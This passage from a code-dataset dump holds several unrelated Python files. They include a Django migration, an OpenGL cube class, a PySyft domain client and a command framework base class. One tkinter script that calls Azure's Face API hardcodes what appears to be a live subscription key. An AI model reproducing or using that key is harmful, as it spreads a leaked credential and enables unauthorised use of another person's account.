feed_dict={\r\n tf_x: x\r\n })\r\n\r\n #system('cls')\r\n for v in ['y[0][0]', 'y[0][4]', 'h[0]', 'c[0]']:\r\n print('- ' * 32)\r\n print(v + ':')\r\n print(eval(v))","sub_path":"lab/tf8.py","file_name":"tf8.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"548641066","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('scrape', '0017_auto_20141223_1933'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Team',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('team_id', models.IntegerField()),\n ('name', models.CharField(max_length=180)),\n ('trades', models.IntegerField(default=0)),\n ('acquisitions', models.IntegerField(default=0)),\n ('wins', models.IntegerField(default=0)),\n ('losses', models.IntegerField(default=0)),\n ('draws', models.IntegerField(default=0)),\n ('division', models.ForeignKey(default=1, blank=True, to='scrape.Division')),\n ('league', models.ForeignKey(to='scrape.League', blank=True)),\n ('owner', models.ForeignKey(to='scrape.Owner', blank=True)),\n ('season', models.ForeignKey(to='scrape.Season', blank=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='division',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='league',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='owner',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='season',\n ),\n migrations.AlterField(\n model_name='draftpick',\n name='team',\n field=models.ForeignKey(to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='lineup',\n name='team',\n field=models.ForeignKey(to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='matchup',\n name='away_team',\n field=models.ForeignKey(related_name='away_matchups', to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='matchup',\n name='home_team',\n field=models.ForeignKey(related_name='home_matchups', to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.DeleteModel(\n name='FantasyTeam',\n ),\n ]\n","sub_path":"scrape/migrations/0018_auto_20141223_1934.py","file_name":"0018_auto_20141223_1934.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"417346763","text":"import tkinter as tk\nimport requests\n\nsubscription_key = \"17026dde24924755a51598f003a09946\"\nface_api_url = \"\"\n\nroot = tk.Tk()\nroot.geometry(\"600x600\")\n\ndef createPersonGroup(e):\n personGroupId = entry1.get()\n Request_URL = \"https://westus.api.cognitive.microsoft.com/face/v1.0/persongroups/\" + personGroupId\n \n Request_headers = {\n \"Content-Type\": \"application/json\",\n \"Ocp-Apim-Subscription-Key\": subscription_key,\n }\n\n Request_params = {\"personGroupId\": personGroupId}\n\n Request_body = {\n #ここではpersonGroupIdと作成するpersonGroupの表示名を同一にした\n \"name\": personGroupId,\n \"userData\": \"user-provided data attached to the person group\",\n }\n\n #なぜここがpostではなくputなのか?\n #putはRequest_URLがなかった場合、新規作成する。\n #Request_URLのpersonGroupIDはまだ作成されていないため、ここではput\n r = requests.put(Request_URL, headers=Request_headers, params=Request_params, json=Request_body)\n #rが空なら\n print(\"{}←200なら作成完了\".format(r))\n\nbutton1 = tk.Button(root, text=\"Create Person Group\")\nbutton1.place(x=10, y=20, width=150, height=30)\nbutton1.bind(\"\", createPersonGroup)\n\nentry1 = tk.Entry(root, font=(\"\",12), justify=\"left\")\nentry1.place(x=160, y=20, width=150, height=30)\n\nroot.mainloop()\n","sub_path":"PersonGroup-Create.py","file_name":"PersonGroup-Create.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"495713515","text":"from OpenGL.GL import *\n\nfrom game.static.values.constants import vertices, colors\n\n\nclass Cube():\n\n def __init__(self, id, size, scale):\n self.size = size\n self.scale = scale\n self.start_pos = [*id]\n self.pos = [*id]\n self.rotating = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n\n def is_affected(self, axle, piece):\n b_check = self.pos[axle] == piece\n return b_check\n\n def updating(self, axle, piece, direction):\n\n if not self.is_affected(axle, piece):\n return None\n\n i_temp = axle + 1\n j_temp = axle + 2\n i, j = i_temp % 3, j_temp % 3\n print(i, j)\n for k in range(3):\n self.rotating[k][j], self.rotating[k][i] = self.rotating[k][i] * direction, -self.rotating[k][j] * direction\n\n self.pos[i], self.pos[j] = (\n self.pos[j] if direction < 0 else self.size - 1 - self.pos[j],\n self.pos[i] if direction > 0 else self.size - 1 - self.pos[i])\n\n print(self.rotating)\n\n def transform_matrix(self):\n T = [(l - (self.size - 1) / 2) * 2.08 * self.scale for l in self.pos]\n A = [[k * self.scale for k in l] for l in self.rotating]\n return [*A[0],\n 0,\n *A[1],\n 0,\n *A[2],\n 0,\n *T,\n 1]\n\n def draw(self, colors, surface, vertices, animate, corner, axle, piece, direction):\n\n glPushMatrix()\n if animate and self.is_affected(axle, piece):\n glRotatef(corner * direction, *[1 if i == axle else 0 for i in range(3)])\n glMultMatrixf(self.transform_matrix())\n\n glBegin(GL_QUADS)\n for i in range(len(surface)):\n glColor3fv(colors[i])\n for j in surface[i]:\n glVertex3fv(vertices[j])\n glEnd()\n\n glPopMatrix()\n","sub_path":"game/object/cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"52624650","text":"from .base_options import BaseOptions\n\n\nclass TestOptions(BaseOptions):\n \"\"\"This class includes test options.\n It also includes shared options defined in BaseOptions.\n \"\"\"\n\n def initialize(self, parser):\n parser = super(TestOptions, self).initialize(parser) # define shared options\n\n # ========================= Split Configs ==========================\n parser.add_argument('--split_dir', type=str, required=True, help='Path to split directory where split files are')\n parser.add_argument('--test_size', type=float, default=0.1, help='# of test examples.')\n parser.add_argument('--results_dir', type=str, default='./results/', help='saves results here.')\n parser.add_argument('--phase', type=str, default='test', help='train, val, test, etc')\n \n # Dropout and Batchnorm has different behavioir during training and test.\n parser.add_argument('--eval_mode', action='store_true', help='use eval mode during test time.')\n\n self.isTrain = False\n return parser","sub_path":"core/options/test_options.py","file_name":"test_options.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"153114251","text":"\n\n#calss header\nclass _INVERSION():\n\tdef __init__(self,): \n\t\tself.name = \"INVERSION\"\n\t\tself.definitions = [u'a situation in which something is changed so that it is the opposite of what it was before, or in which something is turned upside down: ', u'a situation in which an organ, or part of an organ, is turned inside out']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_inversion.py","file_name":"_inversion.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"486040894","text":"def up(triangle):\r\n a,b,c = triangle\r\n return tuple(sorted([a - 2*b +2*c, 2*a - b + 2*c, 2*a - 2*b + 3*c]))\r\n\r\ndef down(triangle):\r\n a,b,c = triangle\r\n return tuple(sorted([-a + 2*b +2*c, -2*a + b + 2*c, -2*a + 2*b + 3*c]))\r\n\r\n\r\ntriangle = [(3,4,5)]\r\n\r\n#possilbe based triangles sizes\r\ntriangle.append(up((3,4,5)))\r\ntriangle.append(up((5,12,13)))\r\ntriangle.append(down((3,4,5)))\r\ntriangle.append(down((5,12,13)))\r\n\r\n\r\n\r\nprint(triangle)\r\n\r\n\"\"\"\r\na = 0\r\nfor i in triangle:\r\n print(triangle[a])\r\n a += 1\r\n\"\"\"","sub_path":"COSC_1306/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"96694497","text":"# stdlib\nimport logging\nimport time\nfrom typing import Any\nfrom typing import Dict\nfrom typing import Dict as TypeDict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Type\nfrom typing import Union\n\n# third party\nfrom nacl.signing import SigningKey\nfrom nacl.signing import VerifyKey\nimport names\nimport pandas as pd\nfrom pandas import DataFrame\n\n# syft absolute\nfrom syft import deserialize\n\n# relative\nfrom ....core.common.serde.serialize import _serialize as serialize # noqa: F401\nfrom ....core.io.location.specific import SpecificLocation\nfrom ....core.node.common.action.exception_action import ExceptionMessage\nfrom ....core.pointer.pointer import Pointer\nfrom ....logger import traceback_and_raise\nfrom ....util import validate_field\nfrom ...common.message import SyftMessage\nfrom ...common.uid import UID\nfrom ...io.address import Address\nfrom ...io.location import Location\nfrom ...io.route import Route\nfrom ..common.client import Client\nfrom ..common.client_manager.association_api import AssociationRequestAPI\nfrom ..common.client_manager.dataset_api import DatasetRequestAPI\nfrom ..common.client_manager.group_api import GroupRequestAPI\nfrom ..common.client_manager.role_api import RoleRequestAPI\nfrom ..common.client_manager.user_api import UserRequestAPI\nfrom ..common.node_service.network_search.network_search_messages import (\n NetworkSearchMessage,\n)\nfrom ..common.node_service.node_setup.node_setup_messages import GetSetUpMessage\nfrom ..common.node_service.object_transfer.object_transfer_messages import (\n LoadObjectMessage,\n)\nfrom ..common.node_service.request_receiver.request_receiver_messages import (\n RequestMessage,\n)\nfrom .enums import PyGridClientEnums\nfrom .enums import RequestAPIFields\n\n\nclass RequestQueueClient:\n def __init__(self, client: Client) -> None:\n self.client = client\n self.handlers = RequestHandlerQueueClient(client=client)\n\n self.groups = GroupRequestAPI(client=self)\n self.users = UserRequestAPI(client=self)\n self.roles = RoleRequestAPI(client=self)\n self.association = AssociationRequestAPI(client=self)\n self.datasets = DatasetRequestAPI(client=self)\n\n @property\n def requests(self) -> List[RequestMessage]:\n\n # syft absolute\n from syft.core.node.common.node_service.get_all_requests.get_all_requests_messages import (\n GetAllRequestsMessage,\n )\n\n msg = GetAllRequestsMessage(\n address=self.client.address, reply_to=self.client.address\n )\n\n blob = serialize(msg, to_bytes=True)\n msg = deserialize(blob, from_bytes=True)\n\n requests = self.client.send_immediate_msg_with_reply(msg=msg).requests # type: ignore\n\n for request in requests:\n request.gc_enabled = False\n request.owner_client_if_available = self.client\n\n return requests\n\n def get_request_id_from_object_id(self, object_id: UID) -> Optional[UID]:\n for req in self.requests:\n if req.object_id == object_id:\n return req.request_id\n\n return object_id\n\n def __getitem__(self, key: Union[str, int]) -> RequestMessage:\n if isinstance(key, str):\n for request in self.requests:\n if key == str(request.id.value):\n return request\n traceback_and_raise(\n KeyError(\"No such request found for string id:\" + str(key))\n )\n if isinstance(key, int):\n return self.requests[key]\n else:\n traceback_and_raise(KeyError(\"Please pass in a string or int key\"))\n\n raise Exception(\"should not get here\")\n\n def __repr__(self) -> str:\n return repr(self.requests)\n\n @property\n def pandas(self) -> pd.DataFrame:\n request_lines = [\n {\n \"Requested Object's tags\": request.object_tags,\n \"Reason\": request.request_description,\n \"Request ID\": request.id,\n \"Requested Object's ID\": request.object_id,\n \"Requested Object's type\": request.object_type,\n }\n for request in self.requests\n ]\n return pd.DataFrame(request_lines)\n\n def add_handler(\n self,\n action: str,\n print_local: bool = False,\n log_local: bool = False,\n tags: Optional[List[str]] = None,\n timeout_secs: int = -1,\n element_quota: Optional[int] = None,\n ) -> None:\n handler_opts = self._validate_options(\n id=UID(),\n action=action,\n print_local=print_local,\n log_local=log_local,\n tags=tags,\n timeout_secs=timeout_secs,\n element_quota=element_quota,\n )\n\n self._update_handler(handler_opts, keep=True)\n\n def remove_handler(self, key: Union[str, int]) -> None:\n handler_opts = self.handlers[key]\n\n self._update_handler(handler_opts, keep=False)\n\n def clear_handlers(self) -> None:\n for handler in self.handlers.handlers:\n id_str = str(handler[\"id\"].value).replace(\"-\", \"\")\n self.remove_handler(id_str)\n\n def _validate_options(\n self,\n action: str,\n print_local: bool = False,\n log_local: bool = False,\n tags: Optional[List[str]] = None,\n timeout_secs: int = -1,\n element_quota: Optional[int] = None,\n id: Optional[UID] = None,\n ) -> Dict[str, Any]:\n handler_opts: Dict[str, Any] = {}\n if action not in [\"accept\", \"deny\"]:\n traceback_and_raise(Exception(\"Action must be 'accept' or 'deny'\"))\n handler_opts[\"action\"] = action\n handler_opts[\"print_local\"] = bool(print_local)\n handler_opts[\"log_local\"] = bool(log_local)\n\n handler_opts[\"tags\"] = []\n if tags is not None:\n for tag in tags:\n handler_opts[\"tags\"].append(tag)\n handler_opts[\"timeout_secs\"] = max(-1, int(timeout_secs))\n if element_quota is not None:\n handler_opts[\"element_quota\"] = max(0, int(element_quota))\n\n if id is None:\n id = UID()\n handler_opts[\"id\"] = id\n\n return handler_opts\n\n def _update_handler(self, request_handler: Dict[str, Any], keep: bool) -> None:\n # syft absolute\n from syft.core.node.common.node_service.request_handler import (\n UpdateRequestHandlerMessage,\n )\n\n msg = UpdateRequestHandlerMessage(\n address=self.client.address, handler=request_handler, keep=keep\n )\n self.client.send_immediate_msg_without_reply(msg=msg)\n\n\nclass RequestHandlerQueueClient:\n def __init__(self, client: Client) -> None:\n self.client = client\n\n @property\n def handlers(self) -> List[Dict]:\n # syft absolute\n from syft.core.node.common.node_service.request_handler import (\n GetAllRequestHandlersMessage,\n )\n\n msg = GetAllRequestHandlersMessage(\n address=self.client.address, reply_to=self.client.address\n )\n return validate_field(\n self.client.send_immediate_msg_with_reply(msg=msg), \"handlers\"\n )\n\n def __getitem__(self, key: Union[str, int]) -> Dict:\n \"\"\"\n allow three ways to get an request handler:\n 1. use id: str\n 2. use tag: str\n 3. use index: int\n \"\"\"\n if isinstance(key, str):\n matches = 0\n match_handler: Optional[Dict] = None\n for handler in self.handlers:\n if key in str(handler[\"id\"].value).replace(\"-\", \"\"):\n return handler\n if key in handler[\"tags\"]:\n matches += 1\n match_handler = handler\n if matches == 1 and match_handler is not None:\n return match_handler\n elif matches > 1:\n raise KeyError(\"More than one item with tag:\" + str(key))\n\n raise KeyError(\"No such request found for string id:\" + str(key))\n if isinstance(key, int):\n return self.handlers[key]\n else:\n raise KeyError(\"Please pass in a string or int key\")\n\n def __repr__(self) -> str:\n return repr(self.handlers)\n\n @property\n def pandas(self) -> pd.DataFrame:\n def _get_time_remaining(handler: dict) -> int:\n timeout_secs = handler.get(\"timeout_secs\", -1)\n if timeout_secs == -1:\n return -1\n else:\n created_time = handler.get(\"created_time\", 0)\n rem = timeout_secs - (time.time() - created_time)\n return round(rem)\n\n handler_lines = [\n {\n \"tags\": handler[\"tags\"],\n \"ID\": handler[\"id\"],\n \"action\": handler[\"action\"],\n \"remaining time (s):\": _get_time_remaining(handler),\n }\n for handler in self.handlers\n ]\n return pd.DataFrame(handler_lines)\n\n\nclass DomainClient(Client):\n\n domain: SpecificLocation\n requests: RequestQueueClient\n\n def __init__(\n self,\n name: Optional[str],\n routes: List[Route],\n domain: SpecificLocation,\n network: Optional[Location] = None,\n device: Optional[Location] = None,\n vm: Optional[Location] = None,\n signing_key: Optional[SigningKey] = None,\n verify_key: Optional[VerifyKey] = None,\n ):\n super().__init__(\n name=name,\n routes=routes,\n network=network,\n domain=domain,\n device=device,\n vm=vm,\n signing_key=signing_key,\n verify_key=verify_key,\n )\n\n self.requests = RequestQueueClient(client=self)\n\n self.post_init()\n\n self.groups = GroupRequestAPI(client=self)\n self.users = UserRequestAPI(client=self)\n self.roles = RoleRequestAPI(client=self)\n self.association = AssociationRequestAPI(client=self)\n self.datasets = DatasetRequestAPI(client=self)\n\n def load(\n self, obj_ptr: Type[Pointer], address: Address, pointable: bool = False\n ) -> None:\n content = {\n RequestAPIFields.ADDRESS: serialize(address)\n .SerializeToString() # type: ignore\n .decode(PyGridClientEnums.ENCODING),\n RequestAPIFields.UID: str(obj_ptr.id_at_location.value),\n RequestAPIFields.POINTABLE: pointable,\n }\n self._perform_grid_request(grid_msg=LoadObjectMessage, content=content)\n\n def setup(self, *, domain_name: Optional[str], **kwargs: Any) -> Any:\n\n if domain_name is None:\n domain_name = names.get_full_name() + \"'s Domain\"\n logging.info(\n \"No Domain Name provided... picking randomly as: \" + domain_name\n )\n\n kwargs[\"domain_name\"] = domain_name\n\n response = self.conn.setup(**kwargs) # type: ignore\n logging.info(response[RequestAPIFields.MESSAGE])\n\n def get_setup(self, **kwargs: Any) -> Any:\n return self._perform_grid_request(grid_msg=GetSetUpMessage, content=kwargs)\n\n def search(self, query: List, pandas: bool = False) -> Any:\n response = self._perform_grid_request(\n grid_msg=NetworkSearchMessage, content={RequestAPIFields.QUERY: query}\n )\n if pandas:\n response = DataFrame(response)\n\n return response\n\n def apply_to_network(\n self, target: Client, route_index: int = 0, **metadata: str\n ) -> None:\n self.association.create(source=self, target=target, metadata=metadata)\n\n def _perform_grid_request(\n self, grid_msg: Any, content: Optional[Dict[Any, Any]] = None\n ) -> SyftMessage:\n if content is None:\n content = {}\n # Build Syft Message\n content[RequestAPIFields.ADDRESS] = self.address\n content[RequestAPIFields.REPLY_TO] = self.address\n signed_msg = grid_msg(**content).sign(signing_key=self.signing_key)\n # Send to the dest\n response = self.send_immediate_msg_with_reply(msg=signed_msg)\n if isinstance(response, ExceptionMessage):\n raise response.exception_type\n else:\n return response\n\n @property\n def id(self) -> UID:\n return self.domain.id\n\n # # TODO: @Madhava make work\n # @property\n # def accountant(self):\n # \"\"\"Queries some service that returns a pointer to the ONLY real accountant for this\n # user that actually affects object permissions when used in a .publish() method. Other accountant\n # objects might exist in the object store but .publish() is just for simulation and won't change\n # the permissions on the object it's called on.\"\"\"\n\n # # TODO: @Madhava make work\n # def create_simulated_accountant(self, init_with_budget_remaining=True):\n # \"\"\"Creates an accountant in the remote store. If init_with_budget_remaining=True then the accountant\n # is a copy of an existing accountant. If init_with_budget_remaining=False then it is a fresh accountant\n # with the sam max budget.\"\"\"\n\n @property\n def device(self) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a device\n or is a device itself, this property will return the Location of that device\n if it is known by the client.\"\"\"\n\n return super().device\n\n @device.setter\n def device(self, new_device: Location) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a device\n or is a device itself and we learn the Location of that device, this setter\n allows us to save the Location of that device for use later. We use a getter\n (@property) and setter (@set) explicitly because we want all clients\n to efficiently save an address object for use when sending messages to their\n target. That address object will include this information if it is available\"\"\"\n\n traceback_and_raise(\n Exception(\"This client points to a domain, you don't need a Device ID.\")\n )\n\n @property\n def vm(self) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a vm\n or is a vm itself, this property will return the Location of that vm\n if it is known by the client.\"\"\"\n\n return super().vm\n\n @vm.setter\n def vm(self, new_vm: Location) -> Optional[Location]:\n \"\"\"This client points to a node, if that node lives within a vm\n or is a vm itself and we learn the Location of that vm, this setter\n allows us to save the Location of that vm for use later. We use a getter\n (@property) and setter (@set) explicitly because we want all clients\n to efficiently save an address object for use when sending messages to their\n target. That address object will include this information if it is available\"\"\"\n\n traceback_and_raise(\n Exception(\"This client points to a device, you don't need a VM Location.\")\n )\n\n def __repr__(self) -> str:\n no_dash = str(self.id).replace(\"-\", \"\")\n return f\"<{type(self).__name__}: {no_dash}>\"\n\n def update_vars(self, state: dict) -> pd.DataFrame:\n for ptr in self.store.store:\n tags = getattr(ptr, \"tags\", None)\n if tags is not None:\n for tag in tags:\n state[tag] = ptr\n return self.store.pandas\n\n def load_dataset(\n self,\n assets: Any,\n name: str,\n description: str,\n **metadata: TypeDict,\n ) -> None:\n # relative\n from ....lib.python.util import downcast\n\n metadata[\"name\"] = bytes(name, \"utf-8\") # type: ignore\n metadata[\"description\"] = bytes(description, \"utf-8\") # type: ignore\n\n for k, v in metadata.items():\n if isinstance(v, str): # type: ignore\n metadata[k] = bytes(v, \"utf-8\") # type: ignore\n\n assets = downcast(assets)\n metadata = downcast(metadata)\n\n binary_dataset = serialize(assets, to_bytes=True)\n\n self.datasets.create_syft(\n dataset=binary_dataset, metadata=metadata, platform=\"syft\"\n )\n","sub_path":"packages/syft/src/syft/core/node/domain/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":16292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"307394618","text":"import gc\nimport logging\nimport traceback\nimport weakref\nfrom typing import Dict\n\nfrom .exceptions import JumpException\nfrom ..devices import Motor\nfrom ..utils.callback import Callbacks, SignalFlags\nfrom ..utils.timeout import TimeOut, SingleIdleFunction\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass CommandError(Exception):\n pass\n\n\nclass CommandTimeoutError(CommandError):\n pass\n\n\nclass CommandArgumentError(CommandError):\n pass\n\n\nclass CommandKilledError(CommandError):\n pass\n\n\nclass Command(Callbacks):\n \"\"\"This is an abstract base class for a command, which can be issued in\n order to do something on the instrument, e.g. move a motor or take an\n exposure.\n\n The `name` class variable is the command name: this will be used to\n determine which command has to be run from a command line. It must be\n unique among all derived classes.\n\n The life cycle of a Command instance is as follows:\n\n 1) It is instantiated either directly by Python code, or from a command\n line parsed by the interpreter (cct.core.services.interpreter.Interpreter\n instance). The __init__() method gets the following arguments:\n interpreter: the interpreter instance. The constructor of this abstract\n base class stores a weakref.proxy to it as self.interpreter.\n args: positional command arguments (you probably need them)\n kwargs: command keyword arguments (if you need them)\n namespace: a dictionary containing the variables accessible by the\n command.\n All of these are stored as instance variables of the same name. If you\n subclass Command, __init__() must perform some checks of the validity\n and range of the arguments and the presence or absence of certain\n variables in the namespace.\n\n 2) Very soon after this, the _execute() method is called (note the\n underscore!) by the interpreter. You should not overload this function,\n as it does the following:\n - check the validity of the arguments using self.validate()\n - call self.execute(), which does the actual execution.\n\n 3) self.validate() must return True if the arguments and the environment\n have met the criteria. It must raise an exception (subclass of\n CommandError) if something is wrong. In general, all types of validation\n must be done as soon as possible. E.g. number and type of arguments in\n self.__init__(), and the validity of motor soft limits in self.validate().\n\n 4) self.execute() is called if self.validate() returned True. It must\n _commence_ the execution of the command, but it _must_not_ finish it.\n It must return True if the execution of the command started successfully,\n and raise an instance of CommandError (or of one of its subclasses) if\n something went wrong.\n\n 5) When the command finishes, it must call self.cleanup(), which frees all\n allocated resources and emits the 'return' signal, notifying the\n interpreter that we are done.\n\n 6) If an error happens during execution of the command, the 'fail' signal\n has to be emitted. From this, the interpreter will know that something\n fatal has happened, and if it is in a middle of a script, it must not\n continue. However, the 'return' signal still has to be sent by calling\n self.cleanup().\n\n 7) self.kill() is a mechanism to prematurely stop the execution of the\n command. It must ensure that the instrument is idle and self.cleanup()\n is called as soon as possible, but not before returning from this function.\n\n The main idea is non-blocking operation: the main process (responsible for\n GUI operations) must never be kept busy too long. As many commands work on\n the instrument and cause changes in state varibles of the devices, the\n preferred way of operation is to install a callback handler to the\n 'variable-change' signal of the given devices, and call self.cleanup()\n when the appropriate variable has the appropriate value. To make things\n easier, the class variable `required_devices` can be a list with the\n names of the devices. Valid names are those which can be queried by\n cct.core.instrument.Instrument.get_device(). The method self._execute()\n connects the following signal handlers:\n 'variable-change' -> self.on_variable_change\n 'error' -> self.on_error\n 'disconnect' -> self.disconnect\n You can override these signal handlers. Of course, self.cleanup() takes\n care of disconnecting these.\n\n If you write a simple command, which does not interact with the instrument\n but takes time (e.g. sleep for a given time), you should install a GLib\n timeout function in self.execute(), which calls self.cleanup() when the\n needed time has elapsed.\n\n If the command is even more simple, i.e. the result can be determined by\n self.execute(), you should install a GLib idle handler, which calls\n self.cleanup(). For your convenience, self.idle_return() does just this.\n Just call this method with your desired return value. Once again, DO NOT\n CALL self.cleanup() FROM self.execute()!\n\n As a safety net, you can specify a timeout for a command either in the\n subclass definition or in __init__ by setting self.timeout to a positive\n number. If self.timeout is not None, self._execute() will install a GLib\n timeout handler after self.execute() returns. If self.cleanup() is not\n called before this time elapses, a 'fail' signal is emitted with a\n CommandTimeoutError, before the 'return' signal. This is done by the\n self.on_timeout() method, which you can override if you really need to.\n\n A similar feature is the `pulse_interval` class variable. If it is not\n None, but a positive number, self._execute() installs a GLib timeout\n handler after self.execute() returns. It will periodically call\n self.on_pulse(), which you can override to do the actual work. Take care\n that returning False from self.on_pulse() will inhibit further calling of\n this method, so always return True if you want to be called again. As you\n would expect, self.cleanup() removes the pulse handler. The most common job\n of the pulse handler is to give feedback to the user that the command is\n running. If you know exactly, how long it would take before finishing,\n consider emitting the 'progress' signal, where you can specify a fraction\n and a text message, to be used in a progress bar. If you do not know the\n exact duration of the command, emit the 'pulse' signal, which will just\n 'pulse' the progress bar to and fro, while also presenting a text message.\n\n Other signals can also be defined in subclasses.\n\n Once again, as a general rule, signals must not be emitted from\n self.execute() and self.kill() member functions. Use idle functions or\n callbacks for this.\n \"\"\"\n __signals__ = {\n # emitted when the command completes. Must be emitted exactly once.\n # This also must be the last signal emitted by the command. The single\n # argument is the return value of the command.\n 'return': (SignalFlags.RUN_FIRST, None, (object,)),\n # emitted on a failure. Can be emitted multiple times. The first\n # argument is an Exception instance, the second one is the traceback\n # formatted using traceback.format_exc()\n 'fail': (SignalFlags.RUN_LAST, None, (object, str)),\n # long running commands where the duration cannot be estimated in\n # advance, should emit this periodically (say in every second). The\n # string argument is a message detailing the current state of the\n # command (what it is doing presently).\n 'pulse': (SignalFlags.RUN_FIRST, None, (str,)),\n # long running commands where the duration can be estimated in advance,\n # should emit this signal periodically (e.g. in every second). The\n # first argument is a text message detailing the current state of the\n # command, while the float argument must be a number between 0 and 1,\n # the fraction of the job done up to now. It doesn't need to increase\n # in time. If needed, it can decrease also.\n 'progress': (SignalFlags.RUN_FIRST, None, (str, float)),\n # send occasional text messages to the command interpreter, to be\n # written to a terminal or logged at the INFO level.\n 'message': (SignalFlags.RUN_FIRST, None, (str,)),\n # can be sent to give the front-end command-dependent details. A\n # typical use case is the transmission command, which uses this\n # mechanism to notify the front-end of what it has currently been\n # doing. The single argument of this signal depends on the command,\n # but typically it should be a dict.\n 'detail': (SignalFlags.RUN_FIRST, None, (object,))\n }\n\n instance_count = 0\n\n name = '__abstract__'\n\n required_devices = []\n\n timeout = None # seconds\n\n pulse_interval = None # seconds\n\n def __new__(cls, *args, **kwargs):\n cls.instance_count += 1\n obj = super().__new__(cls)\n logger.debug('Instantiating a command. Number of instances including this: {:d}'.format(cls.instance_count))\n return obj\n\n def __init__(self, interpreter, args, kwargs, namespace):\n logger.debug('Initializing a command. Args: {}. Kwargs:{}. Namespace: {}.'.format(args, kwargs, namespace))\n super().__init__()\n try:\n self.interpreter = weakref.proxy(interpreter)\n except TypeError:\n if isinstance(interpreter, weakref.ProxyTypes):\n self.interpreter = interpreter\n else:\n raise\n self.args = args\n self.kwargs = kwargs\n self.namespace = namespace\n self._device_connections = {}\n self._timeout_handler = None\n self._pulse_handler = None\n self._returning = False\n\n def __del__(self):\n self.__class__.instance_count -= 1\n logger.debug('Deleting a command. Number of remaining instances: {:d}'.format(self.__class__.instance_count))\n\n @property\n def instrument(self):\n return self.interpreter.instrument\n\n @property\n def services(self):\n return self.interpreter.instrument.services\n\n @property\n def config(self) -> Dict:\n return self.interpreter.instrument.config\n\n def get_device(self, name: str):\n return self.interpreter.instrument.get_device(name)\n\n def get_motor(self, motorname: str) -> Motor:\n return self.interpreter.instrument.motors[motorname]\n\n def validate(self):\n \"\"\"Check the validity of self.args and self.kwargs.\n\n If everything is OK, it should return True. Otherwise\n an appropriate exception, a subclass of CommandError\n should be raised.\"\"\"\n return True\n\n def _execute(self):\n self._returning = False\n logger.debug('Executing command {}'.format(self.name))\n if not self.validate():\n logger.error('Validation of command parameters for command {} failed.')\n raise CommandError('Validation of command parameters for command {} failed.'.format(self.name))\n logger.debug('Connecting required devices for command {}'.format(self.name))\n self._connect_devices()\n if self.timeout is not None:\n logger.debug('Starting timeout of {:f} seconds'.format(self.timeout))\n self._timeout_handler = TimeOut(self.timeout * 1000, self.on_timeout)\n if self.pulse_interval is not None:\n logger.debug('Starting pulser of {:f} seconds interval'.format(self.pulse_interval))\n self._pulse_handler = TimeOut(self.pulse_interval * 1000, self.on_pulse)\n try:\n logger.debug('Running execute() method of command {}'.format(self.name))\n retval = self.execute()\n except JumpException as je:\n self.cleanup(None, noemit=True)\n raise\n except Exception as exc:\n logger.error('Error running command {}: {} {}'.format(self.name, str(exc), traceback.format_exc()))\n self.cleanup(None, noemit=True)\n raise\n return retval\n\n def execute(self):\n \"\"\"Start the execution of the command.\"\"\"\n raise NotImplementedError\n\n def kill(self):\n \"\"\"Stop running the current command. The default version emits a 'fail'\n signal and cleans up.\"\"\"\n logger.warning('Killing command {}'.format(self.name))\n try:\n raise CommandKilledError('Command {} killed.'.format(self.name))\n except CommandKilledError as cke:\n self.emit('fail', cke, traceback.format_exc())\n logger.debug('Calling idle_return() from Command.kill()')\n self.idle_return(None)\n\n def cleanup(self, returnvalue: object = None, noemit=False):\n \"\"\"Must be called after execution finished.\"\"\"\n logger.debug('Cleaning up command {}'.format(self.name))\n if self._timeout_handler is not None:\n self._timeout_handler.stop()\n logger.debug('Timeout handler of command {} removed'.format(self.name))\n self._timeout_handler = None\n if self._pulse_handler is not None:\n self._pulse_handler.stop()\n logger.debug('Pulse handler of command {} removed'.format(self.name))\n self._pulse_handler = None\n logger.debug('Disconnecting required devices of command {}'.format(self.name))\n self._disconnect_devices()\n logger.debug('Disconnected required devices of command {}'.format(self.name))\n if not noemit:\n 